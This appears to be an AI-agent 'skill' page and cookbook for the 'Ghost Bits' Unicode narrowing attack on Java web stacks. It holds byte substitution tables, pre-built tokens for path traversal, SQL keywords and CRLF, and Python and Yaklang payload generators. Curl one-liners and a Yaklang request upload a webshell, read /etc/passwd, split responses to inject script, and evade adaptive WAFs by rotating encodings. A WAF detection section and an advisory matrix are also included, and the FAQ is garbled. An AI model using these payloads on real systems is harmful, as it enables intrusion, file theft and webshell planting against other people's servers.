| 0x38 | 8 | ĸ U+0138 | 阸 U+9638 | hex digit 8 |
| 0x39 | 9 | Ĺ U+0139 | 阹 U+9639 | hex digit 9 |
| 0x3A | : | ĺ U+013A | 阺 U+963A | URL scheme, port, header sep |
| 0x3B | ; | Ļ U+013B | 阻 U+963B | command sep, header continue |
| 0x3C | < | ļ U+013C | 阼 U+963C | XSS / XML start |
| 0x3D | = | Ľ U+013D | 阽 U+963D | parameter assign |
| 0x3E | > | ľ U+013E | 阾 U+963E | XSS / XML end |
| 0x3F | ? | Ŀ U+013F | 阿 U+963F | URL query start |
1.3 Printable ASCII bytes 0x40–0x5F
| Byte | ASCII | Latin | CJK | Notes |
|---|---|---|---|---|
| 0x40 | @ | ŀ U+0140 | 䁀 U+4040 | Fastjson @type, mail addr |
| 0x41 | A | Ł U+0141 | 䁁 U+4041 | uppercase letter |
| 0x42 | B | ł U+0142 | 䁂 U+4042 | |
| 0x43 | C | Ń U+0143 | 䁃 U+4043 | |
| 0x44 | D | ń U+0144 | 䁄 U+4044 | |
| 0x45 | E | Ņ U+0145 | 䁅 U+4045 | |
| 0x46 | F | ņ U+0146 | 䁆 U+4046 | |
| 0x47 | G | Ň U+0147 | 䁇 U+4047 | |
| 0x48 | H | ň U+0148 | 䁈 U+4048 | |
| 0x49 | I | ʼn U+0149 | 䁉 U+4049 | |
| 0x4A | J | Ŋ U+014A | 䁊 U+404A | |
| 0x4B | K | ŋ U+014B | 䁋 U+404B | |
| 0x4C | L | Ō U+014C | 䁌 U+404C | |
| 0x4D | M | ō U+014D | 䁍 U+404D | |
| 0x4E | N | Ŏ U+014E | 䁎 U+404E | |
| 0x4F | O | ŏ U+014F | 䁏 U+404F | |
| 0x50 | P | Ő U+0150 | 䁐 U+4050 | |
| 0x51 | Q | ő U+0151 | 䁑 U+4051 | |
| 0x52 | R | Œ U+0152 | 䁒 U+4052 | |
| 0x53 | S | œ U+0153 | 䁓 U+4053 | |
| 0x54 | T | Ŕ U+0154 | 䁔 U+4054 | |
| 0x55 | U | ŕ U+0155 | 䁕 U+4055 | |
| 0x56 | V | Ŗ U+0156 | 䁖 U+4056 | |
| 0x57 | W | ŗ U+0157 | 䁗 U+4057 | |
| 0x58 | X | Ř U+0158 | 䁘 U+4058 | |
| 0x59 | Y | ř U+0159 | 䁙 U+4059 | |
| 0x5A | Z | Ś U+015A | 䁚 U+405A | |
| 0x5B | [ | ś U+015B | 䁛 U+405B | array index |
| 0x5C | \ | Ŝ U+015C | 䁜 U+405C | Windows path |
| 0x5D | ] | ŝ U+015D | 䁝 U+405D | array index |
| 0x5E | ^ | Ş U+015E | 䁞 U+405E | XOR, regex anchor |
| 0x5F | _ | ş U+015F | 䁟 U+405F | identifier |
1.4 Printable ASCII bytes 0x60–0x7E
| Byte | ASCII | Latin | CJK | Notes |
|---|---|---|---|---|
| 0x60 | ` `` | Š U+0160 | 䁠 U+4060 | shell command sub |
| 0x61 | a | š U+0161 | ᙡ U+1661 | keyword class |
| 0x62 | b | Ţ U+0162 | 䁢 U+4062 | |
| 0x63 | c | ţ U+0163 | 㹣 U+3E63 | keyword class, cmd |
| 0x64 | d | Ť U+0164 | 䁤 U+4064 | |
| 0x65 | e | ť U+0165 | 来 U+6765 | hex digit e |
| 0x66 | f | Ŧ U+0166 | 䁦 U+4066 | hex digit f |
| 0x67 | g | ŧ U+0167 | 䁧 U+4067 | |
| 0x68 | h | Ũ U+0168 | 䁨 U+4068 | |
| 0x69 | i | ũ U+0169 | 䁩 U+4069 | |
| 0x6A | j | Ū U+016A | 陪 U+966A | extension .jsp |
| 0x6B | k | ū U+016B | 䁫 U+406B | |
| 0x6C | l | Ŭ U+016C | ౬ U+0C6C | keyword class |
| 0x6D | m | ŭ U+016D | 䁭 U+406D | |
| 0x6E | n | Ů U+016E | 陮 U+966E | keyword Runtime, union |
| 0x6F | o | ů U+016F | 䁯 U+406F | |
| 0x70 | p | Ű U+0170 | 䁰 U+4070 | |
| 0x71 | q | ű U+0171 | 䁱 U+4071 | |
| 0x72 | r | Ų U+0172 | 䁲 U+4072 | keyword Runtime |
| 0x73 | s | ų U+0173 | ⑳ U+2473 | keyword class, select |
| 0x74 | t | Ŵ U+0174 | 䁴 U+4074 | keyword Runtime, type |
| 0x75 | u | ŵ U+0175 | 灵 U+7075 | \u escape introducer |
| 0x76 | v | Ŷ U+0176 | 䁶 U+4076 | |
| 0x77 | w | ŷ U+0177 | 䁷 U+4077 | |
| 0x78 | x | Ÿ U+0178 | 䁸 U+4078 | \x escape |
| 0x79 | y | Ź U+0179 | 䁹 U+4079 | |
| 0x7A | z | ź U+017A | 䁺 U+407A | |
| 0x7B | { | Ż U+017B | 䁻 U+407B | JSON / EL open |
| 0x7C | `\ | ` | ż U+017C | 䁼 U+407C |
| 0x7D | } | Ž U+017D | 䁽 U+407D | JSON / EL close |
| 0x7E | ~ | ž U+017E | 䁾 U+407E | home dir, route param |
All Latin Extended-A entries derive from k=0x01. All CJK entries deriveeither fromk=0x96(Mandarin radicals near阜) ork=0x40(CJK
Unified Ideographs Extension A area䀀-䁿). Both ranges round-trip
through standard UTF-8 transport without normalization side effects.
1.5 Pre-built dangerous tokens
Reusable byte-for-byte substitutions for the most common keywords WAFs block. Pick the Latin or CJK column based on the surrounding context.
| Token | Latin | CJK |
|---|---|---|
.. | ĮĮ | 阮阮 |
../ | ĮĮį | 阮阮阯 |
..%2f | ĮĮĥ甲ŵ | 阮阮严甲灵 |
class | ţŬšųų | 㹣౬ᙡ⑳⑳ |
select | ųťŬťţŴ | ⑳来౬来㹣䁴 |
union | ŵůŮŪū?wait, union | 灵ů陮Ūů?see below |
Runtime | ŔŵŮŴťŮť (mixed case) | 灵陮䁴来陮䁴 (lower) |
script | ųţŲťőŴ?see below | (assemble per byte) |
<script> | ļųţŲťőŴľ? | (assemble per byte) |
/etc/passwd | įťŴţįŐšųųŴď? | 阯来䁴ţ阯Őšųų䁴ď? |
CRLF (\r\n) | čĊ | 閍閊 or 瘍瘊 |
@type | ŀŴŷŵť? | 䁀䁴䁹灵来? |
The "?" markers indicate compositions where the agent should re-derive on
the fly using the row tables above rather than memorize a fixed string —
mixed Latin / CJK substitutions blend better against learning WAFs.
---
2. AFFECTED COMPONENT MATRIX
Components publicly confirmed by the Black Hat Asia 2026 talk and follow-up advisories. Patch versions reflect what was disclosed at the time of the talk; verify the vendor advisory before relying on a single number.
| Component | Surface | Family | Confirmed CVE / Issue | Patched at |
|---|---|---|---|---|
| Apache Commons BCEL | ClassLoader RCE | A | (no CVE; advisory upgrade) | >= 6.12.0 |
| Jackson Databind | \uXXXX JSON SQLi | A + C | (advisory upgrade) | latest 2.x |
| Fastjson | \u / \x escape, autotype | C | re-enables CVE-2017-18349 chains | latest 2.x series |
| Apache Tomcat | RFC2231 filename* upload | A | (advisory upgrade) | latest 9 / 10 / 11 |
| Spring Framework | URL decode path traversal | A | CVE-2025-41242 (PR #34673) | check Spring advisory |
| Spring Framework | class.module.classLoader | A | re-enables CVE-2022-22965 | n/a (filter at WAF) |
| Jetty | URL decode %2> folding | B | re-enables CVE-2023-32315 | latest 11.x / 12.x |
| Undertow | URL decode bypass | A | (advisory upgrade) | latest |
| Vert.x | URL decode + multipart | A | (advisory upgrade) | latest |
| Angus Mail / Jakarta Mail | SMTP CRLF | A | re-enables CVE-2025-57733 class | latest |
| Apache HttpClient | header CRLF | A | HTTPCLIENT-1974 / 1978 | >= 4.5.10 or migrate to 5 |
| ActiveJ HTTP | response CRLF | A | (advisory upgrade) | latest |
| JDK HttpServer | response splitting | A | CVE-2026-21933 | check JDK advisory |
| Lettuce (Redis) | RESP CRLF | A | (advisory upgrade) | latest |
| Jodd | path traversal | A | (advisory upgrade) | latest |
| XMLWriter | tag / attr injection | A | (advisory upgrade) | latest |
| GeoServer | re-enables RCE | B | re-enables CVE-2024-36401 | >= 2.28.3 |
| Openfire | re-enables auth bypass | B | re-enables CVE-2023-32315 | >= 5.0.4 |
---
3. PAYLOAD GENERATORS
3.1 Python — minimal generator and substitute
def ghost(target_byte: int, k: int = 0x01) -> str:
"""Return a Unicode char whose low 8 bits equal target_byte."""
if 0xD8 <= k <= 0xDF:
raise ValueError("surrogate range, choose another k")
return chr(((k & 0xFF) << 8) | (target_byte & 0xFF))
def to_ghost(payload: str, charset: str = "latin") -> str:
"""Replace every ASCII byte in payload with its Ghost variant."""
if charset == "latin":
k = 0x01
elif charset == "cjk":
k = 0x96
else:
raise ValueError("charset must be 'latin' or 'cjk'")
return "".join(ghost(ord(ch), k) if ord(ch) < 0x80 else ch
for ch in payload)
# usage examples
print(to_ghost("../../etc/passwd", "cjk"))
# -> 阮阮阯阮阮阯阱䁴ţ阯Őšųų䁴ď (mixed because k=0x96 only spans CJK)
print(ghost(0x6A, 0x96)) # 陪
print(ghost(0x40, 0x01)) # ŀ3.2 Python — UTF-8 byte-level wire view
When the WAF inspects the raw HTTP body before any decoding, you usually care about what bytes show up on the wire, not the printable form.
def wire_bytes(payload: str) -> bytes:
"""UTF-8 bytes that travel on the wire."""
return payload.encode("utf-8")
def narrowed(payload: str) -> bytes:
"""What the Java backend reconstructs after Family-A narrowing."""
return bytes(ord(ch) & 0xFF for ch in payload)
s = to_ghost("union select 1", "cjk")
print(wire_bytes(s).hex()) # what the WAF sees as bytes
print(narrowed(s)) # what Java reconstructs: b'union select 1'3.3 Yaklang — for poc.HTTP and fuzz
// 关键词: ghost bits, char to byte narrowing, payload generator
func ghost(targetByte, k) {
return string(rune(((k & 0xFF) << 8) | (targetByte & 0xFF)))
}
// 关键词: ghost bits, batch substitution, latin/cjk charset
func toGhost(payload, charset) {
k = 0x01
if charset == "cjk" {
k = 0x96
}
out = ""
for ch in payload {
if int(ch) < 0x80 {
out += ghost(int(ch), k)
} else {
out += string(ch)
}
}
return out
}
// 关键词: ghost bits, Tomcat filename upload bypass
func tomcatFilenameGhost(originalName) {
return toGhost(originalName, "cjk")
}
shell = tomcatFilenameGhost("shell.jsp")
log.info("ghost filename: %s", shell)
// 关键词: ghost bits, poc.HTTP request demo
raw = `POST /upload HTTP/1.1
Host: target.example
Content-Type: multipart/form-data; boundary=----GB
Content-Disposition: form-data; name="file"; filename*="UTF-8''` + shell + `"
webshell-payload-bytes
------GB--
`
rsp, req, err = poc.HTTP(raw, poc.timeout(10), poc.https(false))
if err != nil {
log.error("upload request failed: %v", err)
}3.4 Curl one-liners (Latin variants only — copy-paste safe)
# Tomcat filename* upload bypass
curl -k -X POST "https://target/upload" \
-H 'Content-Type: multipart/form-data; boundary=GB' \
--data-binary $'--GB\r\nContent-Disposition: form-data; name="file"; filename*=UTF-8\'\'shell.\xc5\xaasp\r\nContent-Type: application/octet-stream\r\n\r\n<%@ page import="java.util.*" %>\r\n--GB--\r\n'
# Spring URL traversal via 阮 (UTF-8 E9 98 AE)
curl -k "https://target/api/data?file=$(printf '\xe9\x98\xae\xe9\x98\xae\xe9\x98\xafetc\xe9\x98\xafpasswd')"
# Jetty %2> hex folding bypass
curl -k "https://target/setup/setup-s/%2%3E%2%3E/log.jsp"
# JDK HttpServer CRLF response splitting (CVE-2026-21933)
curl -k --get "https://target/echo" \
--data-urlencode 'ref=Cu\xe7\x98\x8d\xe7\x98\x8aContent-Type: text/html\xe7\x98\x8d\xe7\x98\x8aContent-Length: 33\xe7\x98\x8d\xe7\x98\x8a\xe7\x98\x8d\xe7\x98\x8a<script>alert(1)</script>'Ū = \xc5\xaa (UTF-8 of U+016A, low byte 0x6A = j). 阮 = \xe9\x98\xae (UTF-8 of U+962E, low byte 0x2E = .). 阯 = \xe9\x98\xaf (UTF-8 of U+962F, low byte 0x2F = /). 瘍 = \xe7\x98\x8d, 瘊 = \xe7\x98\x8a (CRLF).
---
4. WAF / IDS DETECTION PSEUDOCODE
For blue team, an effective Ghost-Bits-aware WAF rule emulates what the backend would see. The minimal viable approach is multi-view inspection:
DANGEROUS_TOKENS_REGEX = compile_dangerous_tokens() # ../, @type, etc.
def normalize_views(buf: bytes) -> dict:
s = buf.decode("utf-8", errors="replace")
return {
"raw": s,
"low_byte": "".join(chr(ord(c) & 0xFF) for c in s),
"fullwidth_nfkc": unicodedata.normalize("NFKC", s),
"url_decoded": strict_url_decode(s),
"url_lax_hex": lax_hex_url_decode(s), # mimic Jetty fromHexDigit
"u_escape": unescape_u_escapes(s),
"x_escape": unescape_x_escapes(s), # mimic Fastjson \x default 0
"base64_low": decode_base64_low_byte(s),
}
def detect(buf: bytes) -> Alert | None:
views = normalize_views(buf)
for name, view in views.items():
if DANGEROUS_TOKENS_REGEX.search(view):
if name == "raw":
return Alert("classic", view, severity="high")
return Alert(f"ghost-bits:{name}", view, severity="high")
return NoneStrict implementations of the per-decoder helpers are the hard part:
def lax_hex_url_decode(s: str) -> str:
"""Re-implement Jetty TypeUtil.fromHexDigit semantics."""
out = []
i = 0
while i < len(s):
c = s[i]
if c == "%" and i + 2 < len(s):
try:
hi = jetty_lax_hex(s[i+1])
lo = jetty_lax_hex(s[i+2])
if 0 <= hi <= 15 and 0 <= lo <= 15:
out.append(chr((hi << 4) | lo))
i += 3
continue
except Exception:
pass
out.append(c)
i += 1
return "".join(out)
def jetty_lax_hex(c: str) -> int:
x = (ord(c) & 0x1F) + ((ord(c) >> 6) * 25) - 16
return x # 0..15 for legal digits; also returns 14 for '>'WAF rule outline (high signal, low false positive):
ALERT IF:
DANGEROUS_TOKEN matches in { low_byte_view UNION url_lax_hex_view UNION u_escape_view }
AND DANGEROUS_TOKEN does NOT match in raw_viewThe "subtraction" against raw_view filters out legitimate fullwidth / international content while still catching every Family A / B / C bypass.
---
5. RAPID VERIFICATION CHECKLIST
Use this checklist on a reachable Java target before declaring "no Ghost Bits surface":
[ ] One Family A character substitution test, e.g. replace one '/' with '阯'
in a known endpoint -> compare 200/302/404 against a "neutral X" baseline.
[ ] One Family B test: replace one '%XX' triplet with '%X>' or '%X^' on a
URL path -> compare to baseline.
[ ] One Family C test: send a JSON body with one fullwidth digit inside a
Unicode escape, e.g. '\u\uFF12000' (0x2030 instead of 0x2030 ASCII) ->
compare to baseline.
[ ] If any of the above produces a body / status / length / timing
difference, switch to the per-recipe payload from SKILL section 5.
[ ] Always log the candidate `k` per substitution; rotate `k` between runs
so adaptive WAFs cannot signature on a single character.---
6. REFERENCES
- Cast Attack: A New Threat Posed by Ghost Bits in Java, Black Hat Asia
2026 — Xinyu Bai (@b1u3r), Zhihui Chen (@1ue), contributor Zongzheng Zheng (@chun_springX).
- Vendor advisories: GeoServer GHSA-6jj6-gm7p-fcvv (CVE-2024-36401),
Spring CVE-2022-22965 (spring.io/security/cve-2022-22965), Apache Commons BCEL 6.12.0 release notes, Apache HttpClient 4.5.10 / 5.x migration notes.
- Distillation source: gm7.org public advisory + HackTwoHub deep-dive
reproduction of the 56-page slide deck. No customer or vendor-private artifacts are included; everything in this Cookbook is built from public research and verifiable Unicode arithmetic.
Related skills
How it compares
Pick ghost-bits-cast-attack over the main primer when you need executable payloads and lookup tables rather than conceptual attack background.
FAQ
What does ghost bits cast attack do?
>-
When should I invoke ghost bits cast attack?
>-
What are key capabilities?
[waf-bypass-techniques](../waf-bypass-techniques/SKILL.md) - when a Java
Is Ghost Bits Cast Attack safe to install?
skills.sh reports 1 of 3 security scanners passed. Review the Security Audits panel on this page before installing in production.